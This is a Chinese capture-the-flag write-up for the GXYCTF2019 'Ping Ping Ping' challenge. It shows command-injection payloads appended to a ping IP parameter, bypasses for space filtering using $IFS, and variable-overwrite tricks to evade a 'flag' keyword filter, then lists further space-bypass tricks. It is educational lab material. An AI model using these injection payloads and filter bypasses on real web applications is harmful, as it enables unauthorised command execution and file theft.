zoukankan      html  css  js  c++  java
  • [GXYCTF2019]Ping Ping Ping 1思路

    打开靶场一看,/?ip=

    而题目的题目pingpingping 于是就在url地址后面拼 /?ip=127.0.0.1

    结果发现ping通了

     那我们是不是可以用管道符查看下目录呢?于是试一下吧  /?ip=127.0.0.1|ls 出现两个 flag.php和index.php

     这道题这么简单的吗?于是我们/?ip=127.0.0.1|cat flag.php

    以为可以出现我们想要的flag,结果出现了这个界面,

    原来这个没这么简单,这段英语属实不知道啥意思,过滤了空格的意思吗?

    过滤空格的解决方法

    $IFS$1      //$1改成$加其他数字都行,都能当作空格来用

    ?ip=127.0.0.1|cat$IFS$1flag.php

    结果flag也需要绕过,那我们就先看看index文件吧

    结果发现了过滤规则

    看着过滤了好多字符,但是在最后我们看到了a变量,那我们是不是可以将a的值覆盖,然后进行绕过呢?

    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

    然后我们在源码中发现了flag

     flag{53ec7aaa-24df-4624-819b-dc03dfa8c9fa}

    盘点一下学到的知识点吧

    $IFS是bash中的内部域分隔符,可以代替空格。后面的$9数字是可以随意的,

    每个数字都有特殊含义,但是和前面的搭配都可以表示空格;

    还有一些可以解决空格的问题:

    {cat,flag.txt}

    cat${IFS}flag.txt

    cat$IFS$9flag.txt

    cat<flag.txt

    cat<>flag.txt

    这些是linux下巧妙越过空格的方法

    windows下绕过空格的方法,实用性不强,就type这个命令可以用

    type.flag.txt

    type,flag.txt

    借鉴各个大佬的,然后通过一些知识点查知识点,有侵权联系我。

  • 相关阅读:
    phpmyadmin 设置密码
    php 单向链表反转 reverse (没有空的头结点)
    vue 学习资料
    vue 熟悉项目结构 创建第一个自己的组件
    vue开发环境配置
    vue.js 配置axios 用来ajax请求数据
    javascript 中介者模式 mediator
    PHP 相对路径转换为绝对路径 realpath
    Typescript, ES6
    POST、GET、@RequestBody和@RequestParam区别
  • 原文地址:https://www.cnblogs.com/junlebao/p/13720613.html
Copyright © 2011-2022 走看看